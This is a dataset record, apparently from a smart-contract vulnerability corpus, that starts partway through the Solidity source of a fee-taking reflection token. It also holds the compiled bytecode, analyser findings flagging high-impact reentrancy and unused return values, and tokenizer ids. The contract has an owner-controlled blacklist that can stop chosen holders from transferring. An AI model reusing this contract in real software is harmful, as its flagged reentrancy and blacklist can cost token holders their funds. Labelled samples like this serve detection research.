contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance > 0 ) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612a95565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061260f565b61042a565b60405161016d9190612a7a565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612bf7565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c391906125bc565b61045c565b6040516101d59190612a7a565b60405180910390f35b3480156101ea57600080fd5b5061020560048036038101906102009190612522565b610535565b005b34801561021357600080fd5b5061021c610625565b6040516102299190612c6c565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612698565b61062e565b005b34801561026757600080fd5b506102706106e0565b005b34801561027e57600080fd5b5061029960048036038101906102949190612522565b610752565b6040516102a69190612bf7565b60405180910390f35b3480156102bb57600080fd5b506102c46107a3565b005b3480156102d257600080fd5b506102db6108f6565b6040516102e891906129ac565b60405180910390f35b3480156102fd57600080fd5b5061030661091f565b6040516103139190612a95565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e919061260f565b61095c565b6040516103509190612a7a565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b919061264f565b61097a565b005b34801561038e57600080fd5b50610397610aa4565b005b3480156103a557600080fd5b506103ae610b1e565b005b3480156103bc57600080fd5b506103d760048036038101906103d2919061257c565b611080565b6040516103e49190612bf7565b60405180910390f35b60606040518060400160405280600b81526020017f4d454d4520566973696f6e000000000000000000000000000000000000000000815250905090565b600061043e610437611107565b848461110f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104698484846112da565b61052a84610475611107565b6105258560405180606001604052806028815260200161332160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104db611107565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f29092919063ffffffff16565b61110f565b600190509392505050565b61053d611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190612b57565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610636611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90612b57565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610721611107565b73ffffffffffffffffffffffffffffffffffffffff161461074157600080fd5b600047905061074f81611956565b50565b600061079c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a51565b9050919050565b6107ab611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f90612b57565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4d454d4500000000000000000000000000000000000000000000000000000000815250905090565b6000610970610969611107565b84846112da565b6001905092915050565b610982611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612b57565b60405180910390fd5b60005b8151811015610aa057600160066000848481518110610a3457610a33612fb4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9890612f0d565b915050610a12565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae5611107565b73ffffffffffffffffffffffffffffffffffffffff1614610b0557600080fd5b6000610b1030610752565b9050610b1b81611abf565b50565b610b26611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa90612b57565b60405180910390fd5b600f60149054906101000a900460ff1615610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa90612bd7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061110f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cdc57600080fd5b505afa158015610cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d14919061254f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7657600080fd5b505afa158015610d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dae919061254f565b6040518363ffffffff1660e01b8152600401610dcb9291906129c7565b602060405180830381600087803b158015610de557600080fd5b505af1158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d919061254f565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea630610752565b600080610eb16108f6565b426040518863ffffffff1660e01b8152600401610ed396959493929190612a19565b6060604051808303818588803b158015610eec57600080fd5b505af1158015610f00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f2591906126f2565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161102a9291906129f0565b602060405180830381600087803b15801561104457600080fd5b505af1158015611058573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107c91906126c5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612bb7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e690612af7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112cd9190612bf7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612b97565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b190612ab7565b60405180910390fd5b600081116113fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f490612b77565b60405180910390fd5b6000600a819055506000600b819055506114156108f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148357506114536108f6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118e257600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561152c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61153557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115e05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116365750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561164e5750600f60179054906101000a900460ff165b156116fe5760105481111561166257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116ad57600080fd5b601e426116ba9190612d2d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117a95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117ff5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611815576003600a819055506006600b819055505b600061182030610752565b9050600f60159054906101000a900460ff1615801561188d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118a55750600f60169054906101000a900460ff165b80156118b15750600081115b156118e0576118bf81611abf565b6000479050670429d069189e00008111156118de576118dd47611956565b5b505b505b6118ed838383611d47565b505050565b600083831115829061193a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119319190612a95565b60405180910390fd5b50600083856119499190612e0e565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119a6600284611d5790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119d1573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a22600284611d5790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a4d573d6000803e3d6000fd5b5050565b6000600854821115611a98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8f90612ad7565b60405180910390fd5b6000611aa2611da1565b9050611ab78184611d5790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611af757611af6612fe3565b5b604051908082528060200260200182016040528015611b255781602001602082028036833780820191505090505b5090503081600081518110611b3d57611b3c612fb4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bdf57600080fd5b505afa158015611bf3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c17919061254f565b81600181518110611c2b57611c2a612fb4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c9230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461110f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611cf6959493929190612c12565b600060405180830381600087803b158015611d1057600080fd5b505af1158015611d24573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611d52838383611dcc565b505050565b6000611d9983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f97565b905092915050565b6000806000611dae611ffa565b91509150611dc58183611d5790919063ffffffff16565b9250505090565b600080600080600080611dde87612065565b955095509550955095509550611e3c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120cd90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ed185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f1d81612175565b611f278483612232565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f849190612bf7565b60405180910390a3505050505050505050565b60008083118290611fde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd59190612a95565b60405180910390fd5b5060008385611fed9190612d83565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506120366b033b2e3c9fd0803ce8000000600854611d5790919063ffffffff16565b821015612058576008546b033b2e3c9fd0803ce8000000935093505050612061565b81819350935050505b9091565b60008060008060008060008060006120828a600a54600b5461226c565b9250925092506000612092611da1565b905060008060006120a58e878787612302565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061210f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118f2565b905092915050565b60008082846121269190612d2d565b90508381101561216b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216290612b17565b60405180910390fd5b8091505092915050565b600061217f611da1565b90506000612196828461238b90919063ffffffff16565b90506121ea81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612247826008546120cd90919063ffffffff16565b6008819055506122628160095461211790919063ffffffff16565b6009819055505050565b600080600080612298606461228a888a61238b90919063ffffffff16565b611d5790919063ffffffff16565b905060006122c260646122b4888b61238b90919063ffffffff16565b611d5790919063ffffffff16565b905060006122eb826122dd858c6120cd90919063ffffffff16565b6120cd90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061231b858961238b90919063ffffffff16565b90506000612332868961238b90919063ffffffff16565b90506000612349878961238b90919063ffffffff16565b905060006123728261236485876120cd90919063ffffffff16565b6120cd90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561239e5760009050612400565b600082846123ac9190612db4565b90508284826123bb9190612d83565b146123fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f290612b37565b60405180910390fd5b809150505b92915050565b600061241961241484612cac565b612c87565b9050808382526020820190508285602086028201111561243c5761243b613017565b5b60005b8581101561246c57816124528882612476565b84526020840193506020830192505060018101905061243f565b5050509392505050565b600081359050612485816132db565b92915050565b60008151905061249a816132db565b92915050565b600082601f8301126124b5576124b4613012565b5b81356124c5848260208601612406565b91505092915050565b6000813590506124dd816132f2565b92915050565b6000815190506124f2816132f2565b92915050565b60008135905061250781613309565b92915050565b60008151905061251c81613309565b92915050565b60006020828403121561253857612537613021565b5b600061254684828501612476565b91505092915050565b60006020828403121561256557612564613021565b5b60006125738482850161248b565b91505092915050565b6000806040838503121561259357612592613021565b5b60006125a185828601612476565b92505060206125b285828601612476565b9150509250929050565b6000806000606084860312156125d5576125d4613021565b5b60006125e386828701612476565b93505060206125f486828701612476565b9250506040612605868287016124f8565b9150509250925092565b6000806040838503121561262657612625613021565b5b600061263485828601612476565b9250506020612645858286016124f8565b9150509250929050565b60006020828403121561266557612664613021565b5b600082013567ffffffffffffffff8111156126835761268261301c565b5b61268f848285016124a0565b91505092915050565b6000602082840312156126ae576126ad613021565b5b60006126bc848285016124ce565b91505092915050565b6000602082840312156126db576126da613021565b5b60006126e9848285016124e3565b91505092915050565b60008060006060848603121561270b5761270a613021565b5b60006127198682870161250d565b935050602061272a8682870161250d565b925050604061273b8682870161250d565b9150509250925092565b6000612751838361275d565b60208301905092915050565b61276681612e42565b82525050565b61277581612e42565b82525050565b600061278682612ce8565b6127908185612d0b565b935061279b83612cd8565b8060005b838110156127cc5781516127b38882612745565b97506127be83612cfe565b92505060018101905061279f565b5085935050505092915050565b6127e281612e54565b82525050565b6127f181612e97565b82525050565b600061280282612cf3565b61280c8185612d1c565b935061281c818560208601612ea9565b61282581613026565b840191505092915050565b600061283d602383612d1c565b915061284882613037565b604082019050919050565b6000612860602a83612d1c565b915061286b82613086565b604082019050919050565b6000612883602283612d1c565b915061288e826130d5565b604082019050919050565b60006128a6601b83612d1c565b91506128b182613124565b602082019050919050565b60006128c9602183612d1c565b91506128d48261314d565b604082019050919050565b60006128ec602083612d1c565b91506128f78261319c565b602082019050919050565b600061290f602983612d1c565b915061291a826131c5565b604082019050919050565b6000612932602583612d1c565b915061293d82613214565b604082019050919050565b6000612955602483612d1c565b915061296082613263565b604082019050919050565b6000612978601783612d1c565b9150612983826132b2565b602082019050919050565b61299781612e80565b82525050565b6129a681612e8a565b82525050565b60006020820190506129c1600083018461276c565b92915050565b60006040820190506129dc600083018561276c565b6129e9602083018461276c565b9392505050565b6000604082019050612a05600083018561276c565b612a12602083018461298e565b9392505050565b600060c082019050612a2e600083018961276c565b612a3b602083018861298e565b612a4860408301876127e8565b612a5560608301866127e8565b612a62608083018561276c565b612a6f60a083018461298e565b979650505050505050565b6000602082019050612a8f60008301846127d9565b92915050565b60006020820190508181036000830152612aaf81846127f7565b905092915050565b60006020820190508181036000830152612ad081612830565b9050919050565b60006020820190508181036000830152612af081612853565b9050919050565b60006020820190508181036000830152612b1081612876565b9050919050565b60006020820190508181036000830152612b3081612899565b9050919050565b60006020820190508181036000830152612b50816128bc565b9050919050565b60006020820190508181036000830152612b70816128df565b9050919050565b60006020820190508181036000830152612b9081612902565b9050919050565b60006020820190508181036000830152612bb081612925565b9050919050565b60006020820190508181036000830152612bd081612948565b9050919050565b60006020820190508181036000830152612bf08161296b565b9050919050565b6000602082019050612c0c600083018461298e565b92915050565b600060a082019050612c27600083018861298e565b612c3460208301876127e8565b8181036040830152612c46818661277b565b9050612c55606083018561276c565b612c62608083018461298e565b9695505050505050565b6000602082019050612c81600083018461299d565b92915050565b6000612c91612ca2565b9050612c9d8282612edc565b919050565b6000604051905090565b600067ffffffffffffffff821115612cc757612cc6612fe3565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d3882612e80565b9150612d4383612e80565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d7857612d77612f56565b5b828201905092915050565b6000612d8e82612e80565b9150612d9983612e80565b925082612da957612da8612f85565b5b828204905092915050565b6000612dbf82612e80565b9150612dca83612e80565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e0357612e02612f56565b5b828202905092915050565b6000612e1982612e80565b9150612e2483612e80565b925082821015612e3757612e36612f56565b5b828203905092915050565b6000612e4d82612e60565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612ea282612e80565b9050919050565b60005b83811015612ec7578082015181840152602081019050612eac565b83811115612ed6576000848401525b50505050565b612ee582613026565b810181811067ffffffffffffffff82111715612f0457612f03612fe3565b5b80604052505050565b6000612f1882612e80565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f4b57612f4a612f56565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132e481612e42565b81146132ef57600080fd5b50565b6132fb81612e54565b811461330657600080fd5b50565b61331281612e80565b811461331d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a2744199e0a0503bc8ef450ad2a467dceab34063d26676b5bc02495afb4ed70c64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 19961, 2549, 2546, 28154, 2629, 6305, 2094, 23833, 18139, 2683, 25746, 2094, 2581, 2278, 2692, 2620, 23499, 2683, 2683, 19841, 2546, 2581, 2063, 2620, 2549, 2497, 2683, 2581, 14142, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,748
